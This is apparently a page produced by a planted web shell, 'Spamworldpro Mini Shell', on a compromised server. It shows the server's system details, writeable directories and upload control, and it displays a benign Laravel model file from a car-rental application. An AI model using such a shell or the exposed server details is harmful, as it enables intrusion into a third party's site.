Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/Corals/modules/RentPix/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/Corals/modules/RentPix/Models/AltDriver.php
<?php

namespace Corals\Modules\RentPix\Models;

use Corals\Foundation\Models\BaseModel;
use Corals\Foundation\Transformers\PresentableTrait;
use Illuminate\Database\Eloquent\Relations\BelongsToMany;

class AltDriver extends BaseModel
{
    use PresentableTrait;

    /**
     *  Model configuration.
     *
     * @var string
     */
    public $config = 'rentPix.models.alt_driver';

    protected $casts = [
        'properties' => 'json',
    ];

    protected $table = 'pix_alt_drivers';

    protected $guarded = ['id'];

    /**
     * @return BelongsToMany
     */
    public function customers()
    {
        return $this->belongsToMany(Customer::class, 'pix_alt_driver_customer', 'driver_id')
            ->withTimestamps()
            ->withPivot(['properties']);
    }

    /**
     * @return BelongsToMany
     */
    public function reservations()
    {
        return $this->belongsToMany(Reservation::class, 'pix_alt_driver_reservation', 'driver_id')
            ->withTimestamps()
            ->withPivot(['is_primary', 'properties']);
    }

    /**
     * @return BelongsToMany
     */
    public function inspections()
    {
        return $this->belongsToMany(Inspection::class, 'pix_alt_driver_inspection', 'driver_id')
            ->withTimestamps()
            ->withPivot(['is_primary', 'properties']);
    }
}

Spamworldpro Mini